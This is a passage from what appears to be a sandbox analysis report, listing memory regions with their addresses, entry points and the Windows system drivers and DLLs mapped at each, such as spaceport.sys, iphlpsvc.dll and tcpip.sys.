"\\Windows\\System32\\drivers\\afd.sys" (normalized: "c:\\windows\\system32\\drivers\\afd.sys") Region: id = 6195 start_va = 0xe00000 end_va = 0xe05fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fvevol.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\fvevol.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\fvevol.sys.mui") Region: id = 6196 start_va = 0x11d0000 end_va = 0x1298fff monitored = 0 entry_point = 0x1287010 region_type = mapped_file name = "fvevol.sys" filename = "\\Windows\\System32\\drivers\\fvevol.sys" (normalized: "c:\\windows\\system32\\drivers\\fvevol.sys") Region: id = 6197 start_va = 0xe00000 end_va = 0xe05fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fvevol.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\fvevol.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\fvevol.sys.mui") Region: id = 6198 start_va = 0x11d0000 end_va = 0x1298fff monitored = 0 entry_point = 0x1287010 region_type = mapped_file name = "fvevol.sys" filename = "\\Windows\\System32\\drivers\\fvevol.sys" (normalized: "c:\\windows\\system32\\drivers\\fvevol.sys") Region: id = 6199 start_va = 0xe00000 end_va = 0xe0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 6200 start_va = 0x11d0000 end_va = 0x127afff monitored = 0 entry_point = 0x125d010 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 6201 start_va = 0xe00000 end_va = 0xe0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 6202 start_va = 0x11d0000 end_va = 0x127afff monitored = 0 entry_point = 0x125d010 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 6203 start_va = 0xe00000 end_va = 0xe0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 6204 start_va = 0x11d0000 end_va = 0x127afff monitored = 0 entry_point = 0x125d010 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 6205 start_va = 0xe00000 end_va = 0xe0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 6206 start_va = 0x11d0000 end_va = 0x127afff monitored = 0 entry_point = 0x125d010 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 6207 start_va = 0xe00000 end_va = 0xe0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 6208 start_va = 0x11d0000 end_va = 0x127afff monitored = 0 entry_point = 0x125d010 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 6209 start_va = 0xe00000 end_va = 0xe0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 6210 start_va = 0x11d0000 end_va = 0x127afff monitored = 0 entry_point = 0x125d010 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 6211 start_va = 0xe00000 end_va = 0xe0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 6212 start_va = 0x11d0000 end_va = 0x127afff monitored = 0 entry_point = 0x125d010 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 6213 start_va = 0xe00000 end_va = 0xe0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 6214 start_va = 0x11d0000 end_va = 0x127afff monitored = 0 entry_point = 0x125d010 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 6215 start_va = 0xe00000 end_va = 0xe08fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "refs.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\refs.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\refs.sys.mui") Region: id = 6216 start_va = 0x2610000 end_va = 0x2806fff monitored = 0 entry_point = 0x27e6010 region_type = mapped_file name = "refs.sys" filename = "\\Windows\\System32\\drivers\\refs.sys" (normalized: "c:\\windows\\system32\\drivers\\refs.sys") Region: id = 6217 start_va = 0xe00000 end_va = 0xe08fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "refs.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\refs.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\refs.sys.mui") Region: id = 6218 start_va = 0x2610000 end_va = 0x2806fff monitored = 0 entry_point = 0x27e6010 region_type = mapped_file name = "refs.sys" filename = "\\Windows\\System32\\drivers\\refs.sys" (normalized: "c:\\windows\\system32\\drivers\\refs.sys") Region: id = 6219 start_va = 0xe00000 end_va = 0xe30fff monitored = 0 entry_point = 0xe1f010 region_type = mapped_file name = "smbdirect.sys" filename = "\\Windows\\System32\\drivers\\smbdirect.sys" (normalized: "c:\\windows\\system32\\drivers\\smbdirect.sys") Region: id = 6220 start_va = 0xe40000 end_va = 0xe47fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "smbdirect.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\smbdirect.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\smbdirect.sys.mui") Region: id = 6221 start_va = 0xe00000 end_va = 0xe30fff monitored = 0 entry_point = 0xe1f010 region_type = mapped_file name = "smbdirect.sys" filename = "\\Windows\\System32\\drivers\\smbdirect.sys" (normalized: "c:\\windows\\system32\\drivers\\smbdirect.sys") Region: id = 6222 start_va = 0xe40000 end_va = 0xe47fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "smbdirect.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\smbdirect.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\smbdirect.sys.mui") Region: id = 6223 start_va = 0xe00000 end_va = 0xe05fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 6224 start_va = 0x11d0000 end_va = 0x128dfff monitored = 0 entry_point = 0x11d2840 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 6225 start_va = 0xe00000 end_va = 0xe05fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 6226 start_va = 0x11d0000 end_va = 0x128dfff monitored = 0 entry_point = 0x11d2840 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 6227 start_va = 0xe00000 end_va = 0xe05fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 6228 start_va = 0x11d0000 end_va = 0x128dfff monitored = 0 entry_point = 0x11d2840 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 6229 start_va = 0xe00000 end_va = 0xe05fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 6230 start_va = 0x11d0000 end_va = 0x128dfff monitored = 0 entry_point = 0x11d2840 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 6231 start_va = 0xe00000 end_va = 0xe0cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6232 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11e6ff0 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6233 start_va = 0xe00000 end_va = 0xe0cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6234 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11e6ff0 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6235 start_va = 0xe00000 end_va = 0xe0cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6236 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11e6ff0 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6237 start_va = 0xe00000 end_va = 0xe0cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6238 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11e6ff0 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6239 start_va = 0xe00000 end_va = 0xe0cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6240 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11e6ff0 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6241 start_va = 0xe00000 end_va = 0xe0cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6242 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11e6ff0 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6243 start_va = 0xe00000 end_va = 0xe0cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6244 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11e6ff0 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6245 start_va = 0xe00000 end_va = 0xe0cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6246 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11e6ff0 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6247 start_va = 0xe00000 end_va = 0xe0cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6248 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11e6ff0 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6249 start_va = 0xe00000 end_va = 0xe0cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6250 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11e6ff0 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6251 start_va = 0xe00000 end_va = 0xe0cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6252 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11e6ff0 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6253 start_va = 0xe00000 end_va = 0xe0cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6254 start_va = 0x11d0000 end_va = 0x12a3fff monitored = 0 entry_point = 0x11e6ff0 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6255 start_va = 0xe00000 end_va = 0xe13fff monitored = 0 entry_point = 0xe014c0 region_type = mapped_file name = "dmvsc.sys" filename = "\\Windows\\System32\\drivers\\dmvsc.sys" (normalized: "c:\\windows\\system32\\drivers\\dmvsc.sys") Region: id = 6256 start_va = 0xe20000 end_va = 0xe21fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dmvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\dmvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\dmvsc.sys.mui") Region: id = 6257 start_va = 0xe00000 end_va = 0xe38fff monitored = 0 entry_point = 0xe23b60 region_type = mapped_file name = "bthserv.dll" filename = "\\Windows\\System32\\bthserv.dll" (normalized: "c:\\windows\\system32\\bthserv.dll") Region: id = 6258 start_va = 0xe40000 end_va = 0xe42fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bthserv.dll.mui" filename = "\\Windows\\System32\\en-US\\bthserv.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\bthserv.dll.mui") Region: id = 6259 start_va = 0xe00000 end_va = 0xe38fff monitored = 0 entry_point = 0xe23b60 region_type = mapped_file name = "bthserv.dll" filename = "\\Windows\\System32\\bthserv.dll" (normalized: "c:\\windows\\system32\\bthserv.dll") Region: id = 6260 start_va = 0xe40000 end_va = 0xe42fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bthserv.dll.mui" filename = "\\Windows\\System32\\en-US\\bthserv.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\bthserv.dll.mui") Region: id = 6261 start_va = 0xe00000 end_va = 0xe38fff monitored = 0 entry_point = 0xe23b60 region_type = mapped_file name = "bthserv.dll" filename = "\\Windows\\System32\\bthserv.dll" (normalized: "c:\\windows\\system32\\bthserv.dll") Region: id = 6262 start_va = 0xe40000 end_va = 0xe42fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bthserv.dll.mui" filename = "\\Windows\\System32\\en-US\\bthserv.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\bthserv.dll.mui") Region: id = 6263 start_va = 0xe00000 end_va = 0xe38fff monitored = 0 entry_point = 0xe23b60 region_type = mapped_file name = "bthserv.dll" filename = "\\Windows\\System32\\bthserv.dll" (normalized: "c:\\windows\\system32\\bthserv.dll") Region: id = 6264 start_va = 0xe40000 end_va = 0xe42fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bthserv.dll.mui" filename = "\\Windows\\System32\\en-US\\bthserv.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\bthserv.dll.mui") Region: id = 6265 start_va = 0xe00000 end_va = 0xe19fff monitored = 1 entry_point = 0xe01380 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 6266 start_va = 0xe20000 end_va = 0xe2bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 6267 start_va = 0xe00000 end_va = 0xe19fff monitored = 1 entry_point = 0xe01380 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 6268 start_va = 0xe20000 end_va = 0xe2bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 6269 start_va = 0xe00000 end_va = 0xe19fff monitored = 1 entry_point = 0xe01380 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 6270 start_va = 0xe20000 end_va = 0xe2bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 6271 start_va = 0xe00000 end_va = 0xe19fff monitored = 1 entry_point = 0xe01380 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 6272 start_va = 0xe20000 end_va = 0xe2bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 6273 start_va = 0xe00000 end_va = 0xe19fff monitored = 1 entry_point = 0xe01380 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 6274 start_va = 0xe20000 end_va = 0xe2bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 6275 start_va = 0xe00000 end_va = 0xe19fff monitored = 1 entry_point = 0xe01380 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 6276 start_va = 0xe20000 end_va = 0xe2bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 6277 start_va = 0x2610000 end_va = 0x2a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002610000" filename = "" Region: id = 6278 start_va = 0xe00000 end_va = 0xe2ffff monitored = 0 entry_point = 0xe05520 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 6279 start_va = 0xe30000 end_va = 0xe31fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 6280 start_va = 0xe00000 end_va = 0xe2ffff monitored = 0 entry_point = 0xe05520 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 6281 start_va = 0xe30000 end_va = 0xe31fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 6282 start_va = 0xe00000 end_va = 0xe2ffff monitored = 0 entry_point = 0xe05520 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 6283 start_va = 0xe30000 end_va = 0xe31fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 6284 start_va = 0xe00000 end_va = 0xe2ffff monitored = 0 entry_point = 0xe05520 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 6285 start_va = 0xe30000 end_va = 0xe31fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 6286 start_va = 0xe00000 end_va = 0xe29fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcpip.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\tcpip.sys.mui") Region: id = 6287 start_va = 0x2a10000 end_va = 0x2cfbfff monitored = 0 entry_point = 0x2c6d010 region_type = mapped_file name = "tcpip.sys" filename = "\\Windows\\System32\\drivers\\tcpip.sys" (normalized: "c:\\windows\\system32\\drivers\\tcpip.sys") Region: id = 6288 start_va = 0xe00000 end_va = 0xe29fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcpip.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\tcpip.sys.mui") Region: id = 6289 start_va = 0x2a10000 end_va = 0x2cfbfff monitored = 0 entry_point = 0x2c6d010 region_type = mapped_file name = "tcpip.sys" filename = "\\Windows\\System32\\drivers\\tcpip.sys" (normalized: "c:\\windows\\system32\\drivers\\tcpip.sys") Region: id = 6290 start_va = 0xe00000 end_va = 0xe29fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcpip.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\tcpip.sys.mui") Region: id = 6291 start_va = 0x2a10000 end_va = 0x2cfbfff monitored = 0 entry_point = 0x2c6d010 region_type = mapped_file name = "tcpip.sys" filename = "\\Windows\\System32\\drivers\\tcpip.sys" (normalized: "c:\\windows\\system32\\drivers\\tcpip.sys") Region: id = 6292 start_va = 0xe00000 end_va = 0xe29fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcpip.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\tcpip.sys.mui") Region: id = 6293 start_va = 0x2a10000 end_va = 0x2cfbfff monitored = 0 entry_point = 0x2c6d010 region_type = mapped_file name = "tcpip.sys" filename = "\\Windows\\System32\\drivers\\tcpip.sys" (normalized: "c:\\windows\\system32\\drivers\\tcpip.sys") Region: id = 6294 start_va = 0xe00000 end_va = 0xe46fff monitored = 0 entry_point = 0xe33c10 region_type = mapped_file name = "winnat.sys" filename = "\\Windows\\System32\\drivers\\winnat.sys" (normalized: "c:\\windows\\system32\\drivers\\winnat.sys") Region: id = 6295 start_va = 0x11d0000 end_va = 0x11d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnat.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\winnat.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\winnat.sys.mui") Region: id = 6296 start_va = 0xe00000 end_va = 0xe46fff monitored = 0 entry_point = 0xe33c10 region_type = mapped_file name = "winnat.sys" filename = "\\Windows\\System32\\drivers\\winnat.sys" (normalized: "c:\\windows\\system32\\drivers\\winnat.sys") Region: id = 6297 start_va = 0x11d0000 end_va = 0x11d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnat.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\winnat.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\winnat.sys.mui") Region: id = 6298 start_va = 0xe00000 end_va = 0xe46fff monitored = 0 entry_point = 0xe33c10 region_type = mapped_file name = "winnat.sys" filename = "\\Windows\\System32\\drivers\\winnat.sys" (normalized: "c:\\windows\\system32\\drivers\\winnat.sys") Region: id = 6299 start_va = 0x11d0000 end_va = 0x11d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnat.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\winnat.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\winnat.sys.mui") Region: id = 6300 start_va = 0xe00000 end_va = 0xe46fff monitored = 0 entry_point = 0xe33c10 region_type = mapped_file name = 